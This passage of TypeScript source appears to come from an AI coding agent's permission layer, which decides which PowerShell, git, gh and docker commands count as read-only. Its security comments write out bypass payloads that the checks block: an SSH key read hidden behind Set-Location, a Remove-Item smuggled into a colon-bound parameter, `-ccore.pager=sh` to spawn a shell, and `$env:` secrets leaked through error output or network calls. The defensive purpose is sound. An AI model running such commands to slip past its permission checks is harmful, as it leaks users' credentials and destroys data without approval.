`git.exe` canonicalises to `git` and triggers git-safety 979 * guards (powershellPermissions.ts hasGitSubCommand). SECURITY: only strips 980 * when the name has no path separator — `scripts\git.exe` is a relative path 981 * (runs a local script, not PATH-resolved git) and must NOT canonicalise to 982 * `git`. Returns lowercase canonical name. 983 */ 984export function resolveToCanonical(name: string): string { 985 let lower = name.toLowerCase() 986 // Only strip PATHEXT on bare names — paths run a specific file, not the 987 // PATH-resolved executable the guards are protecting against. 988 if (!lower.includes('\\') && !lower.includes('/')) { 989 lower = lower.replace(WINDOWS_PATHEXT, '') 990 } 991 const alias = COMMON_ALIASES[lower] 992 if (alias) { 993 return alias.toLowerCase() 994 } 995 return lower 996} 997 998/** 999 * Checks if a command name (after alias resolution) alters the path-resolution 1000 * namespace for subsequent statements in the same compound command. 1001 * 1002 * Covers TWO classes: 1003 * 1. Cwd-changing cmdlets: Set-Location, Push-Location, Pop-Location (and 1004 * aliases cd, sl, chdir, pushd, popd). Subsequent relative paths resolve 1005 * from the new cwd. 1006 * 2. PSDrive-creating cmdlets: New-PSDrive (and aliases ndr, mount on Windows). 1007 * Subsequent drive-prefixed paths (p:/foo) resolve via the new drive root, 1008 * not via the filesystem. Finding #21: `New-PSDrive -Name p -Root /etc; 1009 * Remove-Item p:/passwd` — the validator cannot know p: maps to /etc. 1010 * 1011 * Any compound containing one of these cannot have its later statements' 1012 * relative/drive-prefixed paths validated against the stale validator cwd. 1013 * 1014 * Name kept for BashTool parity (isCwdChangingCmdlet ↔ compoundCommandHasCd); 1015 * semantically this is "alters path-resolution namespace". 1016 */ 1017export function isCwdChangingCmdlet(name: string): boolean { 1018 const canonical = resolveToCanonical(name) 1019 return ( 1020 canonical === 'set-location' || 1021 canonical === 'push-location' || 1022 canonical === 'pop-location' || 1023 // New-PSDrive creates a drive mapping that redirects <name>:/... paths 1024 // to an arbitrary filesystem root. Aliases ndr/mount are not in 1025 // COMMON_ALIASES — check them explicitly (finding #21). 1026 canonical === 'new-psdrive' || 1027 // ndr/mount are PS aliases for New-PSDrive on Windows only. On POSIX, 1028 // 'mount' is the native mount(8) command; treating it as PSDrive-creating 1029 // would false-positive. (bug #15 / review nit) 1030 (getPlatform() === 'windows' && 1031 (canonical === 'ndr' || canonical === 'mount')) 1032 ) 1033} 1034 1035/** 1036 * Checks if a command name (after alias resolution) is a safe output cmdlet. 1037 */ 1038export function isSafeOutputCommand(name: string): boolean { 1039 const canonical = resolveToCanonical(name) 1040 return SAFE_OUTPUT_CMDLETS.has(canonical) 1041} 1042 1043/** 1044 * Checks if a command element is a pipeline-tail transformer that was moved 1045 * from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST (PIPELINE_TAIL_CMDLETS set) 1046 * AND passes its argLeaksValue guard via isAllowlistedCommand. 1047 * 1048 * Narrow fallback for isSafeOutputCommand call sites that need to keep the 1049 * "skip harmless pipeline tail" behavior for Format-Table / Select-Object / etc. 1050 * Does NOT match the full CMDLET_ALLOWLIST — only the migrated transformers. 1051 */ 1052export function isAllowlistedPipelineTail( 1053 cmd: ParsedCommandElement, 1054 originalCommand: string, 1055): boolean { 1056 const canonical = resolveToCanonical(cmd.name) 1057 if (!PIPELINE_TAIL_CMDLETS.has(canonical)) { 1058 return false 1059 } 1060 return isAllowlistedCommand(cmd, originalCommand) 1061} 1062 1063/** 1064 * Fail-closed gate for read-only auto-allow. Returns true ONLY for a 1065 * PipelineAst where every element is a CommandAst — the one statement 1066 * shape we can fully validate. Everything else (assignments, control 1067 * flow, expression sources, chain operators) defaults to false. 1068 * 1069 * Single code path to true. New AST types added to PowerShell fall 1070 * through to false by construction. 1071 */ 1072export function isProvablySafeStatement(stmt: ParsedStatement): boolean { 1073 if (stmt.statementType !== 'PipelineAst') return false 1074 // Empty commands → vacuously passes the loop below. PowerShell's 1075 // parser guarantees PipelineAst.PipelineElements ≥ 1 for valid source, 1076 // but this gate is the linchpin — defend against parser/JSON edge cases. 1077 if (stmt.commands.length === 0) return false 1078 for (const cmd of stmt.commands) { 1079 if (cmd.elementType !== 'CommandAst') return false 1080 } 1081 return true 1082} 1083 1084/** 1085 * Looks up a command in the allowlist, resolving aliases first. 1086 * Returns the config if found, or undefined. 1087 */ 1088function lookupAllowlist(name: string): CommandConfig | undefined { 1089 const lower = name.toLowerCase() 1090 // Direct lookup first 1091 const direct = CMDLET_ALLOWLIST[lower] 1092 if (direct) { 1093 return direct 1094 } 1095 // Resolve alias to canonical and look up 1096 const canonical = resolveToCanonical(lower) 1097 if (canonical !== lower) { 1098 return CMDLET_ALLOWLIST[canonical] 1099 } 1100 return undefined 1101} 1102 1103/** 1104 * Sync regex-based check for security-concerning patterns in a PowerShell command. 1105 * Used by isReadOnly (which must be sync) as a fast pre-filter before the 1106 * cmdlet allowlist check. This mirrors BashTool's checkReadOnlyConstraints 1107 * which checks bashCommandIsSafe_DEPRECATED before evaluating read-only status. 1108 * 1109 * Returns true if the command contains patterns that indicate it should NOT 1110 * be considered read-only, even if the cmdlet is in the allowlist. 1111 */ 1112export function hasSyncSecurityConcerns(command: string): boolean { 1113 const trimmed = command.trim() 1114 if (!trimmed) { 1115 return false 1116 } 1117 1118 // Subexpressions: $(...) can execute arbitrary code 1119 if (/\$\(/.test(trimmed)) { 1120 return true 1121 } 1122 1123 // Splatting: @variable passes arbitrary parameters. Real splatting is 1124 // token-start only — `@` preceded by whitespace/separator/start, not mid-word. 1125 // `[^\w.]` excludes word chars and `.` so `user@example.com` (email) and 1126 // `file.@{u}` don't match, but ` @splat` / `;@splat` / `^@splat` do. 1127 if (/(?:^|[^\w.])@\w+/.test(trimmed)) { 1128 return true 1129 } 1130 1131 // Member invocations: .Method() can call arbitrary .NET methods 1132 if (/\.\w+\s*\(/.test(trimmed)) { 1133 return true 1134 } 1135 1136 // Assignments: $var = ... can modify state 1137 if (/\$\w+\s*[+\-*/]?=/.test(trimmed)) { 1138 return true 1139 } 1140 1141 // Stop-parsing symbol: --% passes everything raw to native commands 1142 if (/--%/.test(trimmed)) { 1143 return true 1144 } 1145 1146 // UNC paths: \\server\share or //server/share can trigger network requests 1147 // and leak NTLM/Kerberos credentials 1148 // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() with atom search, short command strings 1149 if (/\\\\/.test(trimmed) || /(?<!:)\/\//.test(trimmed)) { 1150 return true 1151 } 1152 1153 // Static method calls: [Type]::Method() can invoke arbitrary .NET methods 1154 if (/::/.test(trimmed)) { 1155 return true 1156 } 1157 1158 return false 1159} 1160 1161/** 1162 * Checks if a PowerShell command is read-only based on the cmdlet allowlist. 1163 * 1164 * @param command - The original PowerShell command string 1165 * @param parsed - The AST-parsed representation of the command 1166 * @returns true if the command is read-only, false otherwise 1167 */ 1168export function isReadOnlyCommand( 1169 command: string, 1170 parsed?: ParsedPowerShellCommand, 1171): boolean { 1172 const trimmedCommand = command.trim() 1173 if (!trimmedCommand) { 1174 return false 1175 } 1176 1177 // If no parsed AST available, conservatively return false 1178 if (!parsed) { 1179 return false 1180 } 1181 1182 // If parsing failed, reject 1183 if (!parsed.valid) { 1184 return false 1185 } 1186 1187 const security = deriveSecurityFlags(parsed) 1188 // Reject commands with script blocks — we can't verify the code inside them 1189 // e.g., Get-Process | ForEach-Object { Remove-Item C:\foo } looks like a safe pipeline 1190 // but the script block contains destructive code 1191 if ( 1192 security.hasScriptBlocks || 1193 security.hasSubExpressions || 1194 security.hasExpandableStrings || 1195 security.hasSplatting || 1196 security.hasMemberInvocations || 1197 security.hasAssignments || 1198 security.hasStopParsing 1199 ) { 1200 return false 1201 } 1202 1203 const segments = getPipelineSegments(parsed) 1204 1205 if (segments.length === 0) { 1206 return false 1207 } 1208 1209 // SECURITY: Block compound commands that contain a cwd-changing cmdlet 1210 // (Set-Location/Push-Location/Pop-Location/New-PSDrive) alongside any other 1211 // statement. This was previously scoped to cd+git only, but that overlooked 1212 // the isReadOnlyCommand auto-allow path for cd+read compounds (finding #27): 1213 // Set-Location ~; Get-Content ./.ssh/id_rsa 1214 // Both cmdlets are in CMDLET_ALLOWLIST, so without this guard the compound 1215 // auto-allows. Path validation resolved ./.ssh/id_rsa against the STALE 1216 // validator cwd (e.g. /project), missing any Read(~/.ssh/**) deny rule. 1217 // At runtime PowerShell cd's to ~, reads ~/.ssh/id_rsa. 1218 // 1219 // Any compound containing a cwd-changing cmdlet cannot be auto-classified 1220 // read-only when other statements may use relative paths — those paths 1221 // resolve differently at runtime than at validation time. BashTool has the 1222 // equivalent guard via compoundCommandHasCd threading into path validation. 1223 const totalCommands = segments.reduce( 1224 (sum, seg) => sum + seg.commands.length, 1225 0, 1226 ) 1227 if (totalCommands > 1) { 1228 const hasCd = segments.some(seg => 1229 seg.commands.some(cmd => isCwdChangingCmdlet(cmd.name)), 1230 ) 1231 if (hasCd) { 1232 return false 1233 } 1234 } 1235 1236 // Check each statement individually - all must be read-only 1237 for (const pipeline of segments) { 1238 if (!pipeline || pipeline.commands.length === 0) { 1239 return false 1240 } 1241 1242 // Reject file redirections (writing to files). `> $null` discards output 1243 // and is not a filesystem write, so it doesn't disqualify read-only status. 1244 if (pipeline.redirections.length > 0) { 1245 const hasFileRedirection = pipeline.redirections.some( 1246 r => !r.isMerging && !isNullRedirectionTarget(r.target), 1247 ) 1248 if (hasFileRedirection) { 1249 return false 1250 } 1251 } 1252 1253 // First command must be in the allowlist 1254 const firstCmd = pipeline.commands[0] 1255 if (!firstCmd) { 1256 return false 1257 } 1258 1259 if (!isAllowlistedCommand(firstCmd, command)) { 1260 return false 1261 } 1262 1263 // Remaining pipeline commands must be safe output cmdlets OR allowlisted 1264 // (with arg validation). Format-Table/Measure-Object moved from 1265 // SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST after security review found all 1266 // accept calculated-property hashtables. isAllowlistedCommand runs their 1267 // argLeaksValue callback: bare `| Format-Table` passes, `| Format-Table 1268 // $env:SECRET` fails. SECURITY: nameType gate catches 'scripts\\Out-Null' 1269 // (raw name has path chars → 'application'). cmd.name is stripped to 1270 // 'Out-Null' which would match SAFE_OUTPUT_CMDLETS, but PowerShell runs 1271 // scripts\\Out-Null.ps1. 1272 for (let i = 1; i < pipeline.commands.length; i++) { 1273 const cmd = pipeline.commands[i] 1274 if (!cmd || cmd.nameType === 'application') { 1275 return false 1276 } 1277 // SECURITY: isSafeOutputCommand is name-only; only short-circuit for 1278 // zero-arg invocations. Out-String -InputObject:(rm x) — the paren is 1279 // evaluated when Out-String runs. With name-only check and args, the 1280 // colon-bound paren bypasses. Force isAllowlistedCommand (arg validation) 1281 // when args present — Out-String/Out-Null/Out-Host are NOT in 1282 // CMDLET_ALLOWLIST so any args will reject. 1283 // PoC: Get-Process | Out-String -InputObject:(Remove-Item /tmp/x) 1284 // → auto-allow → Remove-Item runs. 1285 if (isSafeOutputCommand(cmd.name) && cmd.args.length === 0) { 1286 continue 1287 } 1288 if (!isAllowlistedCommand(cmd, command)) { 1289 return false 1290 } 1291 } 1292 1293 // SECURITY: Reject statements with nested commands. nestedCommands are 1294 // CommandAst nodes found inside script block arguments, ParenExpressionAst 1295 // children of colon-bound parameters, or other non-top-level positions. 1296 // A statement with nestedCommands is by definition not a simple read-only 1297 // invocation — it contains executable sub-pipelines that bypass the 1298 // per-command allowlist check above. 1299 if (pipeline.nestedCommands && pipeline.nestedCommands.length > 0) { 1300 return false 1301 } 1302 } 1303 1304 return true 1305} 1306 1307/** 1308 * Checks if a single command element is in the allowlist and passes flag validation. 1309 */ 1310export function isAllowlistedCommand( 1311 cmd: ParsedCommandElement, 1312 originalCommand: string, 1313): boolean { 1314 // SECURITY: nameType is computed from the raw (pre-stripModulePrefix) name. 1315 // 'application' means the raw name contains path chars (. \\ /) — e.g. 1316 // 'scripts\\Get-Process', './git', 'node.exe'. PowerShell resolves these as 1317 // file paths, not as the cmdlet/command the stripped name matches. Never 1318 // auto-allow: the allowlist was built for cmdlets, not arbitrary scripts. 1319 // Known collateral: 'Microsoft.PowerShell.Management\\Get-ChildItem' also 1320 // classifies as 'application' (contains . and \\) and will prompt. Acceptable 1321 // since module-qualified names are rare in practice and prompting is safe. 1322 if (cmd.nameType === 'application') { 1323 // Bypass for explicit safe .exe names (bash `which` parity — see 1324 // SAFE_EXTERNAL_EXES). SECURITY: match the raw first token of cmd.text, 1325 // not cmd.name. stripModulePrefix collapses scripts\where.exe → 1326 // cmd.name='where.exe', but cmd.text preserves 'scripts\where.exe ...'. 1327 const rawFirstToken = cmd.text.split(/\s/, 1)[0]?.toLowerCase() ?? '' 1328 if (!SAFE_EXTERNAL_EXES.has(rawFirstToken)) { 1329 return false 1330 } 1331 // Fall through to lookupAllowlist — CMDLET_ALLOWLIST['where.exe'] handles 1332 // flag validation (empty config = all flags OK, matching bash's `which`). 1333 } 1334 1335 const config = lookupAllowlist(cmd.name) 1336 if (!config) { 1337 return false 1338 } 1339 1340 // If there's a regex constraint, check it against the original command 1341 if (config.regex && !config.regex.test(originalCommand)) { 1342 return false 1343 } 1344 1345 // If there's an additional callback, check it 1346 if (config.additionalCommandIsDangerousCallback?.(originalCommand, cmd)) { 1347 return false 1348 } 1349 1350 // SECURITY: whitelist arg elementTypes — only StringConstant and Parameter 1351 // are statically verifiable. Everything else expands/evaluates at runtime: 1352 // 'Variable' → `Get-Process $env:AWS_SECRET_ACCESS_KEY` expands, 1353 // errors "Cannot find process 'sk-ant-...'", model 1354 // reads the secret from the error 1355 // 'Other' (Hashtable) → `Get-Process @{k=$env:SECRET}` same leak 1356 // 'Other' (Convert) → `Get-Process [string]$env:SECRET` same leak 1357 // 'Other' (BinaryExpr)→ `Get-Process ($env:SECRET + '')` same leak 1358 // 'SubExpression' → arbitrary code (already caught by deriveSecurityFlags 1359 // at the isReadOnlyCommand layer, but isAllowlistedCommand 1360 // is also called from checkPermissionMode directly) 1361 // hasSyncSecurityConcerns misses bare $var (only matches `$(`/@var/.Method(/ 1362 // $var=/--%/::); deriveSecurityFlags has no 'Variable' case; the safeFlags 1363 // loop below validates flag NAMES but not positional arg TYPES. File cmdlets 1364 // (CMDLET_PATH_CONFIG) are already protected by SAFE_PATH_ELEMENT_TYPES in 1365 // pathValidation.ts — this closes the gap for non-file cmdlets (Get-Process, 1366 // Get-Service, Get-Command, ~15 others). PS equivalent of Bash's blanket `$` 1367 // token check at BashTool/readOnlyValidation.ts:~1356. 1368 // 1369 // Placement: BEFORE external-command dispatch so git/gh/docker/dotnet get 1370 // this too (defense-in-depth with their string-based `$` checks; catches 1371 // @{...}/[cast]/($a+$b) that `$` substring misses). In PS argument mode, 1372 // bare `5` tokenizes as StringConstant (BareWord), not a numeric literal, 1373 // so `git log -n 5` passes. 1374 // 1375 // SECURITY: elementTypes undefined → fail-closed. The real parser always 1376 // sets it (parser.ts:769/781/812), so undefined means an untrusted or 1377 // malformed element. Previously skipped (fail-open) for test-helper 1378 // convenience; test helpers now set elementTypes explicitly. 1379 // elementTypes[0] is the command name; args start at elementTypes[1]. 1380 if (!cmd.elementTypes) { 1381 return false 1382 } 1383 { 1384 for (let i = 1; i < cmd.elementTypes.length; i++) { 1385 const t = cmd.elementTypes[i] 1386 if (t !== 'StringConstant' && t !== 'Parameter') { 1387 // ArrayLiteralAst (`Get-Process Name, Id`) maps to 'Other'. The 1388 // leak vectors enumerated above all have a metachar in their extent 1389 // text: Hashtable `@{`, Convert `[`, BinaryExpr-with-var `$`, 1390 // ParenExpr `(`. A bare comma-list of identifiers has none. 1391 if (!/[$(@{[]/.test(cmd.args[i - 1] ?? '')) { 1392 continue 1393 } 1394 return false 1395 } 1396 // Colon-bound parameter (`-Flag:$env:SECRET`) is a SINGLE 1397 // CommandParameterAst — the VariableExpressionAst is its .Argument 1398 // child, not a separate CommandElement, so elementTypes says 'Parameter' 1399 // and the whitelist above passes. 1400 // 1401 // Query the parser's children[] tree instead of doing 1402 // string-archaeology on the arg text. children[i-1] holds the 1403 // .Argument child's mapped type (aligned with args[i-1]). 1404 // Tree query catches MORE than the string check — e.g. 1405 // `-InputObject:@{k=v}` (HashtableAst → 'Other', no `$` in text), 1406 // `-Name:('payload' > file)` (ParenExpressionAst with redirection). 1407 // Fallback to the extended metachar check when children is undefined 1408 // (backward compat / test helpers that don't set it). 1409 if (t === 'Parameter') { 1410 const paramChildren = cmd.children?.[i - 1] 1411 if (paramChildren) { 1412 if (paramChildren.some(c => c.type !== 'StringConstant')) { 1413 return false 1414 } 1415 } else { 1416 // Fallback: string-archaeology on arg text (pre-children parsers). 1417 // Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array 1418 // sub), `{` (scriptblock), `[` (type literal/static method). 1419 const arg = cmd.args[i - 1] ?? '' 1420 const colonIdx = arg.indexOf(':') 1421 if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) { 1422 return false 1423 } 1424 } 1425 } 1426 } 1427 } 1428 1429 const canonical = resolveToCanonical(cmd.name) 1430 1431 // Handle external commands via shared validation 1432 if ( 1433 canonical === 'git' || 1434 canonical === 'gh' || 1435 canonical === 'docker' || 1436 canonical === 'dotnet' 1437 ) { 1438 return isExternalCommandSafe(canonical, cmd.args) 1439 } 1440 1441 // On Windows, / is a valid flag prefix for native commands (e.g., findstr /S). 1442 // But PowerShell cmdlets always use - prefixed parameters, so /tmp is a path, 1443 // not a flag. We detect cmdlets by checking if the command resolves to a 1444 // Verb-Noun canonical name (either directly or via alias). 1445 const isCmdlet = canonical.includes('-') 1446 1447 // SECURITY: if allowAllFlags is set, skip flag validation (command's entire 1448 // flag surface is read-only). Otherwise, missing/empty safeFlags means 1449 // "positional args only, reject all flags" — NOT "accept everything". 1450 if (config.allowAllFlags) { 1451 return true 1452 } 1453 if (!config.safeFlags || config.safeFlags.length === 0) { 1454 // No safeFlags defined and allowAllFlags not set: reject any flags. 1455 // Positional-only args are still allowed (the loop below won't fire). 1456 // This is the safe default — commands must opt in to flag acceptance. 1457 const hasFlags = cmd.args.some((arg, i) => { 1458 if (isCmdlet) { 1459 return isPowerShellParameter(arg, cmd.elementTypes?.[i + 1]) 1460 } 1461 return ( 1462 arg.startsWith('-') || 1463 (process.platform === 'win32' && arg.startsWith('/')) 1464 ) 1465 }) 1466 return !hasFlags 1467 } 1468 1469 // Validate that all flags used are in the allowlist. 1470 // SECURITY: use elementTypes as ground 1471 // truth for parameter detection. PowerShell's tokenizer accepts en-dash/ 1472 // em-dash/horizontal-bar (U+2013/2014/2015) as parameter prefixes; a raw 1473 // startsWith('-') check misses `–ComputerName` (en-dash). The parser maps 1474 // CommandParameterAst → 'Parameter' regardless of dash char. 1475 // elementTypes[0] is the name element; args start at elementTypes[1]. 1476 for (let i = 0; i < cmd.args.length; i++) { 1477 const arg = cmd.args[i]! 1478 // For cmdlets: trust elementTypes (AST ground truth, catches Unicode dashes). 1479 // For native exes on Windows: also check `/` prefix (argv convention, not 1480 // tokenizer — the parser sees `/S` as a positional, not CommandParameterAst). 1481 const isFlag = isCmdlet 1482 ? isPowerShellParameter(arg, cmd.elementTypes?.[i + 1]) 1483 : arg.startsWith('-') || 1484 (process.platform === 'win32' && arg.startsWith('/')) 1485 if (isFlag) { 1486 // For cmdlets, normalize Unicode dash to ASCII hyphen for safeFlags 1487 // comparison (safeFlags entries are always written with ASCII `-`). 1488 // Native-exe safeFlags are stored with `/` (e.g. '/FO') — don't touch. 1489 let paramName = isCmdlet ? '-' + arg.slice(1) : arg 1490 const colonIndex = paramName.indexOf(':') 1491 if (colonIndex > 0) { 1492 paramName = paramName.substring(0, colonIndex) 1493 } 1494 1495 // -ErrorAction/-Verbose/-Debug etc. are accepted by every cmdlet via 1496 // [CmdletBinding()] and only route error/warning/progress streams — 1497 // they can't make a read-only cmdlet write. pathValidation.ts already 1498 // merges these into its per-cmdlet param sets (line ~1339); this is 1499 // the same merge for safeFlags. Without it, `Get-Content file.txt 1500 // -ErrorAction SilentlyContinue` prompts despite Get-Content being 1501 // allowlisted. Only for cmdlets — native exes don't have common params. 1502 const paramLower = paramName.toLowerCase() 1503 if (isCmdlet && COMMON_PARAMETERS.has(paramLower)) { 1504 continue 1505 } 1506 const isSafe = config.safeFlags.some( 1507 flag => flag.toLowerCase() === paramLower, 1508 ) 1509 if (!isSafe) { 1510 return false 1511 } 1512 } 1513 } 1514 1515 return true 1516} 1517 1518// --------------------------------------------------------------------------- 1519// External command validation (git, gh, docker) using shared configs 1520// --------------------------------------------------------------------------- 1521 1522function isExternalCommandSafe(command: string, args: string[]): boolean { 1523 switch (command) { 1524 case 'git': 1525 return isGitSafe(args) 1526 case 'gh': 1527 return isGhSafe(args) 1528 case 'docker': 1529 return isDockerSafe(args) 1530 case 'dotnet': 1531 return isDotnetSafe(args) 1532 default: 1533 return false 1534 } 1535} 1536 1537const DANGEROUS_GIT_GLOBAL_FLAGS = new Set([ 1538 '-c', 1539 '-C', 1540 '--exec-path', 1541 '--config-env', 1542 '--git-dir', 1543 '--work-tree', 1544 // SECURITY: --attr-source creates a parser differential. Git treats the 1545 // token after the tree-ish value as a pathspec (not the subcommand), but 1546 // our skip-by-2 loop would treat it as the subcommand: 1547 // git --attr-source HEAD~10 log status 1548 // validator: advances past HEAD~10, sees subcmd=log → allow 1549 // git: consumes `log` as pathspec, runs `status` as the real subcmd 1550 // Verified with `GIT_TRACE=1 git --attr-source HEAD~10 log status` → 1551 // `trace: built-in: git status`. Reject outright rather than skip-by-2. 1552 '--attr-source', 1553]) 1554 1555// Git global flags that accept a separate (space-separated) value argument. 1556// When the loop encounters one without an inline `=` value, it must skip the 1557// next token so the value isn't mistaken for the subcommand. 1558// 1559// SECURITY: This set must be COMPLETE. Any value-consuming global flag not 1560// listed here creates a parser differential: validator sees the value as the 1561// subcommand, git consumes it and runs the NEXT token. Audited against 1562// `man git` + GIT_TRACE for git 2.51; --list-cmds is `=`-only, booleans 1563// (-p/--bare/--no-*/--*-pathspecs/--html-path/etc.) advance by 1 via the 1564// default path. --attr-source REMOVED: it also triggers pathspec parsing, 1565// creating a second differential — moved to DANGEROUS_GIT_GLOBAL_FLAGS above. 1566const GIT_GLOBAL_FLAGS_WITH_VALUES = new Set([ 1567 '-c', 1568 '-C', 1569 '--exec-path', 1570 '--config-env', 1571 '--git-dir', 1572 '--work-tree', 1573 '--namespace', 1574 '--super-prefix', 1575 '--shallow-file', 1576]) 1577 1578// Git short global flags that accept attached-form values (no space between 1579// flag letter and value). Long options (--git-dir etc.) require `=` or space, 1580// so the split-on-`=` check handles them. But `-ccore.pager=sh` and `-C/path` 1581// need prefix matching: git parses `-c<name>=<value>` and `-C<path>` directly. 1582const DANGEROUS_GIT_SHORT_FLAGS_ATTACHED = ['-c', '-C'] 1583 1584function isGitSafe(args: string[]): boolean { 1585 if (args.length === 0) { 1586 return true 1587 } 1588 1589 // SECURITY: Reject any arg containing `$` (variable reference). Bare 1590 // VariableExpressionAst positionals reach here as literal text ($env:SECRET, 1591 // $VAR). deriveSecurityFlags does not gate bare Variable args. The validator 1592 // sees `$VAR` as text; PowerShell expands it at runtime. Parser differential: 1593 // git diff $VAR where $VAR = '--output=/tmp/evil' 1594 // → validator sees positional '$VAR' → validateFlags passes 1595 // → PowerShell runs `git diff --output=/tmp/evil` → file write 1596 // This generalizes the ls-remote inline `$` guard below to all git subcommands. 1597 // Bash equivalent: BashTool blanket 1598 // `$` rejection at readOnlyValidation.ts:~1352. isGhSafe has the same guard. 1599 for (const arg of args) { 1600 if (arg.includes('$')) { 1601 return false 1602 } 1603 } 1604 1605 // Skip over global flags before the subcommand, rejecting dangerous ones. 1606 // Flags that take space-separated values must consume the next token so it 1607 // isn't mistaken for the subcommand (e.g. `git --namespace foo status`). 1608 let idx = 0 1609 while (idx < args.length) { 1610 const arg = args[idx] 1611 if (!arg || !arg.startsWith('-')) { 1612 break 1613 } 1614 // SECURITY: Attached-form short flags. `-ccore.pager=sh` splits on `=` to 1615 // `-ccore.pager`, which isn't in DANGEROUS_GIT_GLOBAL_FLAGS. Git accepts 1616 // `-c<name>=<value>` and `-C<path>` with no space. We must prefix-match. 1617 // Note: `--cached`, `--config-env`, etc. already fail startsWith('-c') at 1618 // position 1 (`-` ≠ `c`). The `!== '-'` guard only applies to `-c` 1619 // (git config keys never start with `-`, so `-c-key` is implausible). 1620 // It does NOT apply to `-C` — directory paths CAN start with `-`, so 1621 // `git -C-trap status` must reject. `git -ccore.pager=sh log` spawns a shell. 1622 for (const shortFlag of DANGEROUS_GIT_SHORT_FLAGS_ATTACHED) { 1623 if ( 1624 arg.length > shortFlag.length && 1625 arg.startsWith(shortFlag) && 1626 (shortFlag === '-C' || arg[shortFlag.length] !== '-') 1627 ) { 1628 return false 1629 } 1630 } 1631 const hasInlineValue = arg.includes('=') 1632 const flagName = hasInlineValue ? arg.split('=')[0] || '' : arg 1633 if (DANGEROUS_GIT_GLOBAL_FLAGS.has(flagName)) { 1634 return false 1635 } 1636 // Consume the next token if the flag takes a separate value 1637 if (!hasInlineValue && GIT_GLOBAL_FLAGS_WITH_VALUES.has(flagName)) { 1638 idx += 2 1639 } else { 1640 idx++ 1641 } 1642 } 1643 1644 if (idx >= args.length) { 1645 return true 1646 } 1647 1648 // Try multi-word subcommand first (e.g. 'stash list', 'config --get', 'remote show') 1649 const first = args[idx]?.toLowerCase() || '' 1650 const second = idx + 1 < args.length ? args[idx + 1]?.toLowerCase() || '' : '' 1651 1652 // GIT_READ_ONLY_COMMANDS keys are like 'git diff', 'git stash list' 1653 const twoWordKey = `git ${first} ${second}` 1654 const oneWordKey = `git ${first}` 1655 1656 let config: ExternalCommandConfig | undefined = 1657 GIT_READ_ONLY_COMMANDS[twoWordKey] 1658 let subcommandTokens = 2 1659 1660 if (!config) { 1661 config = GIT_READ_ONLY_COMMANDS[oneWordKey] 1662 subcommandTokens = 1 1663 } 1664 1665 if (!config) { 1666 return false 1667 } 1668 1669 const flagArgs = args.slice(idx + subcommandTokens) 1670 1671 // git ls-remote URL rejection — ported from BashTool's inline guard 1672 // (src/tools/BashTool/readOnlyValidation.ts:~962). ls-remote with a URL 1673 // is a data-exfiltration vector (encode secrets in hostname → DNS/HTTP). 1674 // Reject URL-like positionals: `://` (http/git protocols), `@` + `:` (SSH 1675 // git@host:path), and `$` (variable refs — $env:URL reaches here as the 1676 // literal string '$env:URL' when the arg's elementType is Variable; the 1677 // security-flag checks don't gate bare Variable positionals passed to 1678 // external commands). 1679 if (first === 'ls-remote') { 1680 for (const arg of flagArgs) { 1681 if (!arg.startsWith('-')) { 1682 if ( 1683 arg.includes('://') || 1684 arg.includes('@') || 1685 arg.includes(':') || 1686 arg.includes('$') 1687 ) { 1688 return false 1689 } 1690 } 1691 } 1692 } 1693 1694 if ( 1695 config.additionalCommandIsDangerousCallback && 1696 config.additionalCommandIsDangerousCallback('', flagArgs) 1697 ) { 1698 return false 1699 } 1700 return validateFlags(flagArgs, 0, config, { commandName: 'git' }) 1701} 1702 1703function isGhSafe(args: string[]): boolean { 1704 // gh commands are network-dependent; only allow for ant users 1705 if (process.env.USER_TYPE !== 'ant') { 1706 return false 1707 } 1708 1709 if (args.length === 0) { 1710 return true 1711 } 1712 1713 // Try two-word subcommand first (e.g. 'pr view') 1714 let config: ExternalCommandConfig | undefined 1715 let subcommandTokens = 0 1716 1717 if (args.length >= 2) { 1718 const twoWordKey = `gh ${args[0]?.toLowerCase()} ${args[1]?.toLowerCase()}` 1719 config = GH_READ_ONLY_COMMANDS[twoWordKey] 1720 subcommandTokens = 2 1721 } 1722 1723 // Try single-word subcommand (e.g. 'gh version') 1724 if (!config && args.length >= 1) { 1725 const oneWordKey = `gh ${args[0]?.toLowerCase()}` 1726 config = GH_READ_ONLY_COMMANDS[oneWordKey] 1727 subcommandTokens = 1 1728 } 1729 1730 if (!config) { 1731 return false 1732 } 1733 1734 const flagArgs = args.slice(subcommandTokens) 1735 1736 // SECURITY: Reject any arg containing `$` (variable reference). Bare 1737 // VariableExpressionAst positionals reach here as literal text ($env:SECRET). 1738 // deriveSecurityFlags does not gate bare Variable args — only subexpressions, 1739 // splatting, expandable strings, etc. All gh subcommands are network-facing, 1740 // so a variable arg is a data-exfiltration vector: 1741 // gh search repos $env:SECRET_API_KEY 1742 // → PowerShell expands at runtime → secret sent to GitHub API. 1743 // git ls-remote has an equivalent inline guard; this generalizes it for gh. 1744 // Bash equivalent: BashTool blanket `$` rejection at readOnlyValidation.ts:~1352. 1745 for (const arg of flagArgs) { 1746 if (arg.includes('$')) { 1747 return false 1748 } 1749 } 1750 if ( 1751 config.additionalCommandIsDangerousCallback && 1752 config.additionalCommandIsDangerousCallback('', flagArgs) 1753 ) { 1754 return false 1755 } 1756 return validateFlags(flagArgs, 0, config) 1757} 1758 1759function isDockerSafe(args: string[]): boolean { 1760 if (args.length === 0) { 1761 return true 1762 } 1763 1764 // SECURITY: blanket PowerShell `$` variable rejection. Same guard as 1765 // isGitSafe and isGhSafe. Parser differential: validator sees literal 1766 // '$env:X'; PowerShell expands at runtime. Runs BEFORE the fast-path 1767 // return — the previous location (after fast-path) never fired for 1768 // `docker ps`/`docker images`. The earlier comment claiming those take no 1769 // --format was wrong: `docker ps --format $env:AWS_SECRET_ACCESS_KEY` 1770 // auto-allowed, PowerShell expanded, docker errored with the secret in 1771 // its output, model read it. Check ALL args, not flagArgs — args[0] 1772 // (subcommand slot) could also be `$env:X`. elementTypes whitelist isn't 1773 // applicable here: this function receives string[] (post-stringify), not 1774 // ParsedCommandElement; the isAllowlistedCommand caller applies the 1775 // elementTypes gate one layer up. 1776 for (const arg of args) { 1777 if (arg.includes('$')) { 1778 return false 1779 } 1780 } 1781 1782 const oneWordKey = `docker ${args[0]?.toLowerCase()}` 1783 1784 // Fast path: EXTERNAL_READONLY_COMMANDS entries ('docker ps', 